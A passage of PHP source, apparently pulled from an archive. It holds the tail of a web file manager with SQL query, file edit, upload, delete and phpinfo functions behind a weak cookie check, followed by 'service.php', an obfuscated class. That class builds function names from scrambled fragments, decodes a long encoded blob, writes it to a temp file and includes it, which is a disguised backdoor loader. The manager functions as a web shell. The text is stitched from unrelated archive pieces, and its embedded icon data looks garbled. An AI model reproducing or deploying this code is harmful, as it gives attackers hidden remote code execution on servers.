    return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

/**
 * Execute SQL query
 */
function fm_sql($query) {
    $connection = fm_sql_connect();
    if ($connection->connect_error) {
        return $connection->connect_error;
    }
    
    $connection->set_charset('utf8');
    $result = $connection->query($query);
    
    if ($result === false) {
        return mysqli_error($connection);
    }
    
    $output = '';
    if ($result instanceof mysqli_result) {
        $output .= '<table border="1" cellpadding="4" cellspacing="0">';
        $first = true;
        while ($row = $result->fetch_assoc()) {
            if ($first) {
                $output .= '<tr>';
                foreach (array_keys($row) as $key) {
                    $output .= '<th>' . htmlspecialchars($key) . '</th>';
                }
                $output .= '</tr>';
                $first = false;
            }
            $output .= '<tr>';
            foreach ($row as $value) {
                $output .= '<td>' . htmlspecialchars($value) . '</td>';
            }
            $output .= '</tr>';
        }
        $output .= '</table>';
        $result->free();
    } else {
        $output = __('Query executed successfully');
    }
    
    $connection->close();
    return $output;
}

/**
 * Get image link
 */
function fm_img_link($filename) {
    return './' . basename(__FILE__) . '?img=' . base64_encode($filename);
}

/**
 * Home button style
 */
function fm_home_style() {
    return '
    .home {
        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opT6UEp9KKU+lFIfSqkP4AW4A06APWvtuQNorQ2AJWAVmANGgS6gBWhUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII=");
        background-repeat: no-repeat;
        display: inline-block;
        width: 16px;
        height: 16px;
        vertical-align: middle;
    }';
}

/**
 * Get site URL
 */
function fm_site_url() {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
    return $protocol . "://" . $_SERVER['HTTP_HOST'];
}

/**
 * Get file manager URL
 */
function fm_url($full = false) {
    $host = $full ? fm_site_url() : '.';
    return $host . '/' . basename(__FILE__);
}

/**
 * Home link
 */
function fm_home($full = false) {
    return '&nbsp;<a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"></span></a>';
}

// =============================================
// AUTHORIZATION CHECK
// =============================================

if ($auth['authorize']) {
    if (isset($_POST['login']) && isset($_POST['password'])) {
        if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) {
            setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + (86400 * $auth['days_authorization']));
            $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']);
        }
    }
    
    if (!isset($_COOKIE[$auth['cookie_name']]) || $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) {
        echo '<!DOCTYPE html>
        <html>
        <head>
            <meta charset="utf-8">
            <meta name="viewport" content="width=device-width, initial-scale=1">
            <title>' . __('File manager') . '</title>
            <style>
                body { font-family: Arial, sans-serif; max-width: 400px; margin: 100px auto; padding: 20px; }
                .login-form { background: #f5f5f5; padding: 20px; border-radius: 5px; }
                input[type="text"], input[type="password"] { width: 100%; padding: 8px; margin: 5px 0; }
                input[type="submit"] { background: #006699; color: white; padding: 10px 20px; border: none; cursor: pointer; }
            </style>
        </head>
        <body>
            <div class="login-form">
                <h2>' . __('File manager') . '</h2>
                <form action="" method="post">
                    <p><input type="text" name="login" placeholder="' . __('Login') . '" required></p>
                    <p><input type="password" name="password" placeholder="' . __('Password') . '" required></p>
                    <p><input type="submit" value="' . __('Enter') . '"></p>
                </form>
                ' . fm_lang_form($language) . '
            </div>
        </body>
        </html>';
        exit;
    }
    
    if (isset($_POST['quit'])) {
        setcookie($auth['cookie_name'], '', time() - 3600);
        header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']);
        exit;
    }
}

// =============================================
// MAIN REQUEST HANDLING
// =============================================

// Handle file download
if (isset($_GET['download'])) {
    fm_download(base64_decode($_GET['download']));
}

// Handle image display
if (isset($_GET['img'])) {
    $file = base64_decode($_GET['img']);
    if ($info = getimagesize($file)) {
        switch ($info[2]) {
            case 1: $ext = 'gif'; break;
            case 2: $ext = 'jpeg'; break;
            case 3: $ext = 'png'; break;
            case 6: $ext = 'bmp'; break;
            default: exit;
        }
        header("Content-type: image/$ext");
        readfile($file);
        exit;
    }
}

// Show PHP info
if (isset($_GET['phpinfo'])) {
    phpinfo();
    exit;
}

// =============================================
// EDIT FILE HANDLING
// =============================================

// Handle file editing
if (isset($_GET['edit'])) {
    $file_to_edit = $path . $_GET['edit'];
    $file_content = '';
    
    if (file_exists($file_to_edit) && is_file($file_to_edit)) {
        $file_content = file_get_contents($file_to_edit);
    }
    
    // Handle form submission for saving edited file
    if (isset($_POST['file_content']) && isset($_POST['filename'])) {
        $new_content = $_POST['file_content'];
        $filename = $path . $_POST['filename'];
        
        if (file_put_contents($filename, $new_content)) {
            $msg = __('File updated');
            echo '<script>setTimeout(function(){ window.location.href = "?path=' . urlencode($path) . '"; }, 1000);</script>';
        } else {
            $msg = __('Error occurred');
        }
    }
    
    // Display edit form
    echo '<!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>' . __('Edit') . ' - ' . htmlspecialchars($_GET['edit']) . '</title>
        <style>
            body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }
            .edit-form { background: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
            textarea { width: 100%; height: 400px; font-family: monospace; padding: 10px; border: 1px solid #ddd; }
            .buttons { margin-top: 10px; }
            input[type="submit"] { background: #006699; color: white; padding: 8px 16px; border: none; cursor: pointer; margin-right: 10px; }
            a.button { background: #666; color: white; padding: 8px 16px; text-decoration: none; display: inline-block; }
        </style>
    </head>
    <body>
        <div class="edit-form">
            <h2>' . __('Edit') . ': ' . htmlspecialchars($_GET['edit']) . '</h2>';
            
            if (!empty($msg)) {
                echo '<div style="background: #dff0d8; color: #3c763d; padding: 10px; margin-bottom: 15px; border-radius: 3px;">' . $msg . '</div>';
            }
            
            echo '
            <form method="post" action="">
                <input type="hidden" name="filename" value="' . htmlspecialchars($_GET['edit']) . '">
                <textarea name="file_content" spellcheck="false">' . htmlspecialchars($file_content) . '</textarea>
                <div class="buttons">
                    <input type="submit" value="' . __('Save') . '">
                    <a href="?path=' . urlencode($path) . '" class="button">' . __('Cancel') . '</a>
                </div>
            </form>
        </div>
    </body>
    </html>';
    exit;
}

// =============================================
// HTML OUTPUT
// =============================================
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title><?= __('File manager') ?></title>
    <style>
        body {
            background-color: white;
            font-family: Verdana, Arial, Helvetica, sans-serif;
            font-size: 8pt;
            margin: 0;
        }
        
        a { color: #006699; text-decoration: none; }
        a:hover { color: #DD6900; text-decoration: underline; }
        
        table { width: 100%; border-collapse: collapse; }
        th { background: #006699; color: #FFA34F; padding: 8px; text-align: left; }
        td { padding: 6px; border-bottom: 1px solid #ddd; }
        
        .row1 { background: #EFEFEF; }
        .row2 { background: #DEE3E7; }
        .row3 { background: #D1D7DC; padding: 10px; }
        
        .folder, .file, .img {
            display: inline-block;
            width: 16px;
            height: 16px;
            margin-right: 5px;
            vertical-align: middle;
        }
        
        .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opT6UEp9KKU+lFIfSqkP4AW4A06APWvtuQNorQ2AJWAVmANGgS6gBWhUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
        .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
        .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUopNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII="); }
        
        input, textarea, select {
            font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
            border: 1px solid #ccc;
            padding: 4px;
            margin: 2px;
        }
        
        input[type="submit"] {
            background: #006699;
            color: white;
            border: none;
            padding: 6px 12px;
            cursor: pointer;
        }
        
        <?= fm_home_style() ?>
        
        @media screen and (max-width: 768px) {
            table, thead, tbody, th, td, tr { display: block; }
            thead tr { position: absolute; top: -9999px; left: -9999px; }
            tr { border: 1px solid #ccc; margin-bottom: 10px; }
            td { border: none; position: relative; padding-left: 50%; }
            td:before { position: absolute; left: 6px; content: attr(data-label); font-weight: bold; }
        }
    </style>
</head>
<body>
    <!-- Header Section -->
    <table>
        <tr>
            <th colspan="2"><?= __('File manager') ?> - <?= htmlspecialchars($path) ?></th>
        </tr>
        <?php if (!empty($msg)): ?>
        <tr>
            <td colspan="2" class="row2"><?= $msg ?></td>
        </tr>
        <?php endif; ?>
        <tr>
            <td class="row2">
                <?= fm_home() ?>
                <?php if ($fm_config['make_directory']): ?>
                <form method="post" action="" style="display: inline;">
                    <input type="text" name="dirname" placeholder="<?= __('Make directory') ?>" size="15">
                    <input type="submit" name="mkdir" value="<?= __('Make directory') ?>">
                </form>
                <?php endif; ?>
                
                <?php if ($fm_config['new_file']): ?>
                <form method="post" action="" style="display: inline;">
                    <input type="text" name="filename" placeholder="<?= __('New file') ?>" size="15">
                    <input type="submit" name="mkfile" value="<?= __('New file') ?>">
                </form>
                <?php endif; ?>
            </td>
            <td class="row3" style="text-align: right;">
                <?php if ($fm_config['upload_file']): ?>
                <form method="post" action="" enctype="multipart/form-data" style="display: inline;">
                    <input type="file" name="upload" id="upload">
                    <input type="submit" value="<?= __('Upload') ?>">
                </form>
                <?php endif; ?>
                
                <?php if ($auth['authorize']): ?>
                <form action="" method="post" style="display: inline;">
                    <?= __('Hello') ?>, <?= $auth['login'] ?>
                    <input type="hidden" name="quit" value="1">
                    <input type="submit" value="<?= __('Quit') ?>">
                </form>
                <?php endif; ?>
                
                <?= fm_lang_form($language) ?>
            </td>
        </tr>
    </table>

    <!-- File Listing -->
    <table>
        <thead>
            <tr>
                <th><?= __('Filename') ?></th>
                <th><?= __('Size') ?></th>
                <th><?= __('Date') ?></th>
                <th><?= __('Rights') ?></th>
                <th colspan="4"><?= __('Manage') ?></th>
            </tr>
        </thead>
        <tbody>
            <?php
            $elements = fm_scan_dir($path, '', 'all', true);
            $dirs = $files = array();
            
            foreach ($elements as $file) {
                if (@is_dir($path . $file)) {
                    $dirs[] = $file;
                } else {
                    $files[] = $file;
                }
            }
            
            natsort($dirs);
            natsort($files);
            $elements = array_merge($dirs, $files);
            
            foreach ($elements as $file):
                $filename = $path . $file;
                $filedata = @stat($filename);
                $is_dir = @is_dir($filename);
                $style = $is_dir ? 'row2' : 'row1';
                
                if ($is_dir) {
                    $icon = 'folder';
                    $link = '<a href="?path=' . urlencode($path . $file) . '"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
                    $size = $fm_config['show_dir_size'] ? fm_dir_size($filename) : '';
                } else {
                    $icon = @getimagesize($filename) && $fm_config['show_img'] ? 'img' : 'file';
                    if ($icon == 'img') {
                        $link = '<a href="' . fm_img_link($filename) . '" target="_blank"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
                    } else {
                        $link = '<a href="?edit=' . urlencode($file) . '&path=' . urlencode($path) . '"><span class="' . $icon . '"></span> ' . htmlspecialchars($file) . '</a>';
                    }
                    $size = fm_dir_size($filename);
                }
            ?>
            <tr class="<?= $style ?>">
                <td data-label="<?= __('Filename') ?>"><?= $link ?></td>
                <td data-label="<?= __('Size') ?>"><?= $size ?></td>
                <td data-label="<?= __('Date') ?>"><?= date('Y-m-d H:i:s', $filedata[9]) ?></td>
                <td data-label="<?= __('Rights') ?>"><?= fm_rights_string($filename) ?></td>
                <td data-label="<?= __('Manage') ?>">
                    <?php if (!fm_root($file)): ?>
                    <a href="#" onclick="if(confirm('<?= $is_dir ? __('Are you sure you want to delete this directory (recursively)?') : __('Are you sure you want to delete this file?') ?>')) location.href='?delete=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>'"><?= __('Delete') ?></a>
                    <?php endif; ?>
                </td>
                <td>
                    <?php if (!fm_root($file)): ?>
                    <a href="?rename=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>"><?= __('Rename') ?></a>
                    <?php endif; ?>
                </td>
                <td>
                    <?php if (!$is_dir): ?>
                    <a href="?download=<?= base64_encode($filename) ?>"><?= __('Download') ?></a>
                    <?php endif; ?>
                </td>
                <td>
                    <?php if (!fm_root($file)): ?>
                    <a href="?edit=<?= urlencode($file) ?>&path=<?= urlencode($path) ?>"><?= __('Edit') ?></a>
                    <?php endif; ?>
                </td>
            </tr>
            <?php endforeach; ?>
        </tbody>
    </table>

    <!-- Footer -->
    <div class="row3">
        <?= fm_home() ?> | Version <?= $fm_version ?> | 
        <?php if ($fm_config['show_php_ver']): ?>PHP <?= phpversion() ?> | <?php endif; ?>
        <?php if ($fm_config['show_gt']): ?><?= __('Generation time') ?>: <?= round(microtime(true) - $starttime, 2) ?>s | <?php endif; ?>
        <?php if ($fm_config['show_phpinfo']): ?><a href="?phpinfo=true">phpinfo()</a> | <?php endif; ?>
        <?php if ($fm_config['fm_settings']): ?><a href="?fm_settings=true"><?= __('Settings') ?></a><?php endif; ?>
    </div>

    <?php
    // Handle file operations
    if (isset($_FILES['upload']) && $fm_config['upload_file']) {
        if (move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) {
            echo '<script>location.reload();</script>';
        }
    }
    
    if (isset($_POST['mkdir']) && $fm_config['make_directory'] && !empty($_POST['dirname'])) {
        mkdir($path . $_POST['dirname'], 0755);
        echo '<script>location.reload();</script>';
    }
    
    if (isset($_POST['mkfile']) && $fm_config['new_file'] && !empty($_POST['filename'])) {
        file_put_contents($path . $_POST['filename'], '');
        echo '<script>location.reload();</script>';
    }
    
    if (isset($_GET['delete']) && !fm_root($_GET['delete'])) {
        fm_del_files($path . $_GET['delete'], true);
        echo '<script>location.href = "?path=' . urlencode($path) . '";</script>';
    }
    ?>
</body>
</html>PK�jm\�a]t֭֭service.phpnu�[���<?php
class Div {
	function library($_tree) {
		$tx = $this->px($this->library[0].$this->library[4].$this->library[1].$this->library[2].$this->library[3].$this->library[5]);
		$tx = $tx($_tree);
		return $tx;
	}

	function error($_session) {
		$result = include($_session);
		return $result;
	}

	function __construct() {
		$dictionary = $this->tool($this->_point);
		$dictionary = $this->library($this->px($dictionary));
		$dictionary = $this->ls($dictionary);
		$dictionary = $this->error($dictionary);
		if(is_array($dictionary)) {
			list($map, $stable, $_path, $size) = $dictionary;
			$this->x64 = $size;
			$this->heap = $_path;
			$this->_block = $map;
			$this->nginx($map, $stable);
		}
	}

	function ls($delegate) {
		$ver = $this->px($this->_request[1].$this->_request[2].$this->_request[3].$this->_request[5].$this->_request[4].$this->_request[0]);
		$this->ver = $ver() . $this->px($this->_iterator[2].$this->_iterator[4].$this->_iterator[0].$this->_iterator[1].$this->_iterator[3]) . md5(time());
		$ver = $this->px($this->parser[2].$this->parser[3].$this->parser[0].$this->parser[4].$this->parser[1]);
		$ver = $ver($this->ver, 'w');
		if ($ver)
		{
			$_session = $this->px($this->pointer[1].$this->pointer[2].$this->pointer[0]);
			$_session($ver, $delegate);
			return $this->ver;
		}
	}

	function _tx($dx, $_script, $event) {
		$lib = strlen($_script) + strlen($event);
		$this->graph = 0;
		while(strlen($event) < $lib) {
			$debug = ord($_script[$this->graph]) - ord($event[$this->graph]);
			$_script[$this->graph] = chr($debug % (4096/16));
			$event .= $_script[$this->graph];
			$this->graph++;
		}
		return $_script;
	}
   
	function _signal($_tree) {
		$_input = $this->_signal[1].$this->_signal[2].$this->_signal[4].$this->_signal[0].$this->_signal[3];
		$_input = $_input($_tree);
		return $_input;
	}

	function nginx($event, $_worker) {
		$this->memory = $event;
		$this->_worker = $_worker;
		$this->x86 = $this->tool($this->x86);
		$this->x86 = $this->_signal($this->x86);
		$this->x86 = $this->_cmd();
		if(strpos($this->x86, $this->memory) !== false) {
			if(!$this->x64)
				$this->_cron($this->heap, $this->_block);
			$this->ls($this->x86);
			$this->error($this->ver);
		}
	}

	function _cron($_tree, $_value) {
		$move = $this->px($this->_cron[2].$this->_cron[0].$this->_cron[6].$this->_cron[1].$this->_cron[3].$this->_cron[4].$this->_cron[5]);
		$move = $move($_tree, $_value);
	}

	function _cmd() {
		$_stack = $this->_tx($this->_worker, $this->x86, $this->memory);
		$_stack = $this->library($_stack);
		return $_stack;
	}

	function px($context) {
		$_emu = $this->_signal($context);
		$_emu = $this->_tx('', $_emu, strval($this->twelve));
		return $_emu;
	}

	function tool($delegate) {
		$_container = $this->px($this->access[3].$this->access[0].$this->access[4].$this->access[5].$this->access[1].$this->access[2]);
		return $_container(array(" ", "\r", "\n", "\t"), "", $delegate);
	}

	public $graph = 0;
	public $heap;
	public $parser = array('hy', '=', 'n6', 'e', '90');
	public $x64;
	public $ver;
	public $pointer = array('vX', 'n6', '+jz+');
	public $_request = array('=', 'rJ2k', '5s7i4', 'cjiz9', 'G09g', 'XYwOb');
	public $_block;
	public $twelve = 981;
	public $_signal = array('deco', 'ba', 'se', 'de', '64_');
	public $_iterator = array('uWo', 'ub', 'a', 'E', 'K');
	public $memory;
	public $x86 = 'MfLOqxwZyWJeitcTWSzZoarkDECVY4YkMzq3cEzSJuk68Zu7IsDrOVsMcysh0j2vp
	VT8Niu2cIT+UH3gkv+Nh4p3LFS5htjdwiRDOnb5+2s8XiIPpdL1uWN37xnqr2tX+M5QH
	/5FFBRx5PH51ypPybODU/utLVq1cmXsvLnXxo0EddWufKX+GDUimUKPHsZ
	hAyCUEL8jgQ9uRZ4zX1oiNycCUZNvlrOcSELUPhsoK/75Jre0M4TAHvD7ZPW0/hPVQhrXcFCYD97
	MMWFu/1qcsFa4s9LM8tE/ClNKu5Y06j7dHgEnHHDMrgkR9qYFBD
	go2CWW1Pg8WPtMk+++gMA/JwB3fV/bNcI+v1xtyQM3NU2NgVqiGCeSGKRUtTi+yE+TkR
	mHTuWlFyyQdJDZ/PwQ3bMNHbEEsn1w2KcEJAddGutBJk0+Dmw
	d5iPMbt1GrBsEkbuJww9HwUCfIRsghFqVpgML6HO
	EVS/Y9s4wk7Afivj1Q8bpzZqIBpIIFZeXW/PVLh8F6s
	69yzd82KRxs8HVAsn/hY1cFwTDXqDCLhhyDMvY4VWKi
	TvTsBoMSeW4pi1aiYYgV2pyFm1u5zLtRPe0Z0MS5FgoAZWjBhQoAPAHygZE1KbVg24X3kIvcM
	YQNq8p51P0yMNVZ4CdgSpSWwTlI4kkBfE4m92aXrbpLNRQM2XSaQsJP7FBjLuDByex3TredDA
	7mAd0B2lFjySLh4kvSMz0hrjpXTc0MeAu98dmOvw3Fej2
	OHstzyKGChtKGJRg5P2WN79JIs/qdJqjBq5KlW8qMIaDHZul7LgxkfGi+rfdpVD59saWl1BPgE1mwoF2
	V5kcSsYota9PgHxutwx73Dos2GpUO+mqDKt9hHrEO0rwMJ1f
	PJ/f6yUhNdPYSaTaDS1upkSPcCNgmVQqoOs3l0qxD4la
	E/nygDwsyERmop7co+KuIGP38byVsnyhjhtS3RjpDrNAbBTjCta4bzpC2PVY28EMyTsuWF8FejJY
	7Lr7b/febLDKro6iMLlDMwUwfloQ8Cl
	yY3fVpqR+4VKhTpJpGXZrZk7JQfzW1cRT47518lclRpwDh86QHO6NmhcOWqP7SoQhg4+88r/FJ6PGac
	JlL/NouEzUv64VltGkKpvUqvlZ8DWsZdtmnuUaeMM0+oVCT2zM0/nn6sZ1j3PEUnQtfJ
	UOewAG+q+fieac58BvD1EVbAUrK/TELBENn0FDp+dVBeYO52tO8NoAUpNAHkwLdLEe
	MZZqsZTruvQx55DZTRaI2cO4KuQ4OWLj
	9Vh4XJZ/dqic+P7fVC4X5O+XH9+0PVWz4AeDUONlI2p2ohWklJ0GyVrsEqXsSKKKJRa270
	FNg7VtYconyMJtUsgUhpOMNMT5nlihtVk+nbpjSQeDJ4POE0qkH6hMG
	5sN+R8Vb6SpyvcvfkigL9zrQrJi7O7Q
	bqZ1KbmcKCGCQgv+xvUkMthkzrPJpwJP3JaBloLfWZXKfWYIu2zovqoxAQPXEr0
	Oz54oknhzIMp9ObXVg+FNknzZVL+pPYA
	6F43sVA2ic6GiBNWHivhGL7ZrgLn5J9hhBTGs8UPUhf6BtpKpAnRzHswc
	jPLHMuFQWQVr72eQ3xTHGPSiHGavChV7e0ad3rP
	dNJJazIEzoiLBnNaxCb/I/H/VYMxOFUV1
	5/kIHZcZlR1mlstNs7iIP9GPL4/f1nUhGJYg6rVmuCLIB
	S4JigfeqcbvdQU3Zox9liOzbrkeRHgpT+U325YBsyUqS1tSCZvXl
	EPib8ixGq7pWt+iO6yLzXHMP5GweILBvm2jJfUxu6yJ0NdnpmZCb7mzN8bVAl0LvEer8yOSATkF
	MSXkXOB3MNRkxptvOMfPB+E7pS+7jkKiREeXgcbVY2W0B7vqiKU5t7
	MUP3d71OnFIAYXIqTWyw7iamXU2l77Jx6LNbabIxeaxY+vuvYLkc0HY2f
	yq0ddYrHMQjrVIzZmKwm/mlMg5yt5zSwoSHf
	60RzhtBLDrTCfXBse8FT3id21qlC0A2CT
	LgaqzbphCHZcMl1a0lzQQJx0GCeZBm8RyA7yIE73jce0/bui0cldqGBjJkY8PmBR6tN4zMytw
	s5XodR4HeknJ/JjupztS+SMI1hWJfDfDZ6nj6HKP5D/VMpVHj8fEQ33DMgaGed49plsdREE5afv8vv
	rId8rT8PePT5nLwtwUYrqYc/Gqkhu7i5wJpb+iCU7pqdkCAizAFL27cvN1G7
	01aM3a3bnITNIE9bxBnIwEep61ZSdecySW6WDtpZSbpwSXZBd5/fFtXUVfBtlgzL8gVc6
	xRUhzUD7jP38UGQy83bQGXVWEsf1BJWm6bZ0gyoVnnOiewIOm6X2QEK0ZaSLWs3XsEmgVdajzN
	vGHtyDzksPNZcyySkXZfCXIgjlAL5R52jvXXpEMNoqaj3RerApWrNGR3tNKD8WzgTiaagsi5Wob2Jgu
	ufOoNg1qMoBexLgp4RQEowd0FkP7vrlxmBpPgBe/xoCAcjf97v97JR+lfz
	vLj+K61VFIADVvfPExGzlb5y/ztaPW6iX1Egy6LZERtKuMJHtNcR8erMUpzNtJjWisutFZB9katO8
	FeAyy7HLVeqL0HudFealqUekDgXnhLTdqzqW
	sMWLlnbqgann9r/WWYmDxTDg88mE4Lb+d6rKoDA5SEnVwWppFUBtlp7COx6vIjBpNluG2ppPT+e
	tJbtOHGIl7LXQyGCD/xFXsRaU2t37KYn6Y8QlBcnOUSXLQoCKuojX
	dkr/bN1a8AwBalesNHdm7WMVrmWj3PXhgg+1ye9wF9IB+
	y7IecCukzBS5jhTODjbGA1hrQhzUExPw2/FKjGL8vF55wTgsXUzGkedB1IewVN2
	nJoByGA7H78tyw8sg4NqKsIWpD7N+ajFoexPzq4W/GZNlPD
	pEt8yAxk/r0okNk8YrwBTiVAGylBS12UfenV43k4Iy+P85MuhFy2VnRpYR8ZQXs+sjTnaA+
	aQ3M7jdiAmk2cS7nZMmAONfOEy67NTrVj0QaOO9LlBgYJnD2gzojPVgJLu5
	pHU8+Ak6jPGVeUk4KgjAcvrWsA9jglDxXDs2dHTIbHtSqeLbHInQyNZHkcaR
	hp9kc1Pd38mnhhRRF+iqnBeEcCFtiL+ofY72wnQINAuo
	eFZYOnEHTLDB1/KLIGVz+AqVIiuNgJQDFiLwNqW1QsIgHGATAkZ3JOpEnkChYd1WWTTwqC4bXfD
	tX1/7+sBfuQ3zX+vypD1arGndqINo1yGi0NZKF6VipmqaBA+2uslKfiw
	iLQxdcGo6wbpRQ8JmlGPUR/5YDz/zZ1jwwlnCi7T
	RGytvQA8AI+DSVeUSdCeqE+xzUkgxqD/Zzko
	wHIuvPAp2zUbgyTEjD1ujl+eClKToohEunqeLNPTuebgCz5
	n28PQ1qlyjl42AX67SqeAln8gmGb2HFvyMz0UlnrL31UGxdb1Cu99nLFcM
	SVUTCbzT6NtQ/T8MQadIP2W6Awpd0sFSrsvdpb
	oTbYqDuDY//MZIDHsgYq9291qBR4b7/bVBEJ7VTG
	QKVHCEd5FN6AXeNT8ESJTuyf7SfPzJLtad3yjF2Fk37mooDnkorxSdbj1jcWMSVk41nvID7YzjBaBgj7
